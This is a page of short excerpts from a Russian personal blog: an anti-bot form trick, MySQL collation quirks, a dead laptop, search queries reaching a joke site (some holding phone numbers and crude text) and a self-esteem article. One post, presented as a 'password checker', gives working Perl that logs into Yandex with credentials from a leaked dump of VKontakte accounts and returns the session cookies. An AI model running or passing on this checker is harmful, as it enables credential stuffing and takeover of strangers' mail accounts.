Новая защита от ботов в формах

Не знаю насколько нова идея — но подумал и сразу изобразил.

Суть в том, чтобы пойти от обратного по идее — лишнее поле для бота. Только заполнять поле самим и на JavaScript. Если поле не приходит — значит POST или GET отправлялся напрямую. Ну и JS ещё не все умеют обрабатывать.
Читать пост целиком »

Проверялка паролей Яндекса

В свете последних событий насчёт Вконтакте — выложенный дамп 130 тысяч пользовательских логинов и паролей — получение кук с Яндекса — таких почт в этом дампе около 13 тысяч.

sub yandexLogin {
my ($login, $password, $ip) = @_;
croak('Login needed') if !$login;
croak('Login needed') if !$password;
$login =~ s/@.*//;
$password = uri_escape($password);
my $ag = q[MegaHacker];
@LWP::Protocol::http::EXTRA_SOCK_OPTS = (@LWP::Protocol::http::EXTRA_SOCK_OPTS, LocalAddr => $ip) if $ip;
my $href = q[https://passport.yandex.ru/passport?mode=auth];
my $ua = LWP::UserAgent->new(keep_alive => 1, cookie_jar => HTTP::Cookies->new, timeout => 60);
$ua->agent($ag);
$ua->default_header('Referer' => "https://passport.yandex.ru/");
$ua->default_header('Content-Type'=>q[application/x-www-form-urlencoded;]);
my $x = $ua->post($href, {
login => $login,
passwd => $password,
twoweeks => q[yes]
});
my @cookies;
push(@cookies,q[yandex_mail=].$ua->cookie_jar->{COOKIES}->{'.yandex.ru'}->{q[/]}->{yandex_mail}->[1]) if $ua->cookie_jar->{COOKIES}->{'.yandex.ru'}->{q[/]}->{yandex_mail}->[1];
push(@cookies,q[yandex_login=].$ua->cookie_jar->{COOKIES}->{'.yandex.ru'}->{q[/]}->{yandex_login}->[1]) if $ua->cookie_jar->{COOKIES}->{'.yandex.ru'}->{q[/]}->{yandex_mail}->[1];
push(@cookies,q[yandex_fio=].$ua->cookie_jar->{COOKIES}->{'.yandex.ru'}->{q[/]}->{yandex_fio}->[1]) if $ua->cookie_jar->{COOKIES}->{'.yandex.ru'}->{q[/]}->{yandex_mail}->[1];
push(@cookies,q[L=].$ua->cookie_jar->{COOKIES}->{'.yandex.ru'}->{q[/]}->{L}->[1]) if $ua->cookie_jar->{COOKIES}->{'.yandex.ru'}->{q[/]}->{yandex_mail}->[1];
push(@cookies,q[yandex_nickname=].$ua->cookie_jar->{COOKIES}->{'.yandex.ru'}->{q[/]}->{yandex_nickname}->[1]) if $ua->cookie_jar->{COOKIES}->{'.yandex.ru'}->{q[/]}->{yandex_mail}->[1];
push(@cookies,q[Session_id=].$ua->cookie_jar->{COOKIES}->{'.yandex.ru'}->{q[/]}->{Session_id}->[1]) if $ua->cookie_jar->{COOKIES}->{'.yandex.ru'}->{q[/]}->{yandex_mail}->[1];
return \@cookies;
}

MySQL — пробел в конце varchar

Не знаю — многие ли знают о этой документированной фиче — столкнулись с ней только сегодня.

Произвольная таблица test имеет поле text типа VARCHAR 255, для чистоты эксперимента кодировка UTF8_BIN.

INSERT INTO test SET text='тест';
INSERT INTO test SET text='тест '; — на конце пробел
Читать пост целиком »

Выборка регистрозависимых данных из MySQL

Типовая, казалось бы, задачка. Выбрать из таблицы данные, зависимые от регистра.

А вот как бы проблема, да? Потому что таблица имеет на полях utf8_general_ci — что значит что она регистронезависима.
mysql> SHOW CREATE TABLE test \G
*************************** 1. row ***************************
Table: test
Create Table: CREATE TABLE `test` (
`id` int(11) NOT NULL AUTO_INCREMENT,
`text` varchar(255) NOT NULL,
PRIMARY KEY (`id`)
) ENGINE=MyISAM AUTO_INCREMENT=3 DEFAULT CHARSET=utf8
1 row in set (0.00 sec)

Читать пост целиком »

HP Compaq HDX

Чорт побери! Ноут двух дней жизни сегодня почил смертью храбрых — сначала отказал блок питания, а потом он просто перестал дышать :(

Отвёз обратно в магазин, обещали поменять в течении 10 дней.

Теперь 1440×900 кажутся обрезком по сравнению с FullHD :((((((((

Феномен лузерства

Новиков опять разродился умной статьёй, которую я, в свою очередь, поддерживаю и абсолютно с ней согласен. (в ссылке поставил акцент на отменный комментарий, подводящий фактически резюме всей статьи)

Читать пост целиком »

Скрипт логина Вконтакте на Perl

НЕРАБОЧИЙ — Рабочий логин вконтакте выложил тут — http://www.skazkin.ru/p/novyj-login-vkontakte-perl-curl.html#comments

Пример использования:

  1. my $cookies = getLogin({login=>q[user@email.ru],password=>q[123456]});

В результате получаем или ссылку на массив с куками, которые мы потом можем использовать для логина, или же undef. Под катом сам сниппет.

Читать пост целиком »

Запросы в Яндекс на анекдоты

По каким запросам может вылазить сайт анекдотов в выдаче Яндекса? (там ниже — статистика по Гуглу ещё)

чукчу спрашивают оргазм, это как? —49 место
ковтун иван 8 952 221 13 61 —43 место
чукчу спрашивают оргазм, это как? кушал анекдот —33 место
п/п 51884 180 полк 40 армия —32 место
госметеоцентр —30 место
чэловек паук —29 место
чукчу спрашивают оргазм, это как? кушал —29 место
результатах поисковиков по запросу «всякая хуйня»? —17 место
камаз 55117 —17 место
самые смешные анекдоты —13 место
+9 929 516 366 43 —10 место
8 914 552 97 19-какой страны этот номер? —10 место
(961) 0029550 брянск —9 место
много парней ебут девочку женю у трактира —9 место
ролс ройс 777 97 регион —9 место
самое дешевое такси в москве 955 —8 место
о. голубев ft. к. седло — рай —7 место
олег шебуневич —6 место
шнур золотая баба —5 место
одноклассники.ru армия в/ч 48284 —5 место
собака шай-пей —5 место
илья и влажи —4 место
лучшие анекдоты читать —4 место
ghj,ktvs sru 7140 —2 место
сакура асцветает —1 место
Читать пост целиком »

XCKD — Они зарыты

тела зарыты

я обожаю эти комиксы

Люди с низкой самооценкой

Оригинал статьи

Люди с низкой самооценкой (ЛНС) — это пипец.

Люди с низкой самооценкой неадекватно реагируют на критику. Они все воспринимают на свой счет. Все люди совершают ошибки. Когда разбираешь ошибку с адекватным человеком, он все понимает, разговор ведется конструктивный. Человек с низкой самооценкой воспринимает разбор ситуации как оскорбление, душевную травму, свидетельство своей неполноценности. Низкая самооценка мешает ему отделить себя от ситуации, себя от своей ошибки.
Читать пост целиком »

Страница 6 из 1012345678910